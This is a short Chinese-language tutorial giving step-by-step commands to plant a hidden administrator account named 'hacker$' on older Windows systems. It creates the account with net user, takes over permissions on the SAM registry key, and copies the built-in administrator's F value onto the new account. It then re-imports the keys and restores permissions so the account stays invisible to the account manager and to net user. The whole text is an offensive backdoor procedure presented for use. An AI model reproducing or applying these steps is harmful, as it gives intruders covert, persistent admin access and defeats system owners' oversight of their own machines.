為 Windows 建立隱藏超級用戶：注冊表權限操作實戰

regedit.exe 熟知但無法設定登錄鍵值權限，regedt32.exe 最大優勢在於能設定權限。NT/2000/XP 帳戶資訊位於 HKEY_LOCAL_MACHINE\SAM\SAM，除 SYSTEM 外無權查看。以下步驟建立隱藏超級用戶 hacker$：

1. 以 Administrator 登入，命令列建帳號：net user hacker$ 1234 /add
2. 執行 regedt32.exe，對 SAM 鍵給 Administrator「完全控制」權限。
3. 啟動 regedit.exe，開啟 HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\hacker$
4. 導出 hacker$、00000409、000001F4 為 .reg 檔，用記事本編輯：將超級用戶對應 000001F4 下鍵值 F 複製覆蓋 hacker$ 對應 00000409 下的 F，合併 00000409.reg 與 hacker$.reg。
5. 命令列刪除帳號：net user hacker$ /del
6. 在 regedit 刷新（F5），匯入修改後的 hacker$.reg。
7. 隱藏超級用戶建立完成，關閉 regedit，在 regedt32 中將 SAM 權限恢復原狀（刪除剛加入的 Administrator）。
8. 注意：帳號管理器與 net user 皆看不到 hacker$；建立後不可再改密碼，否則會顯現且無法刪除。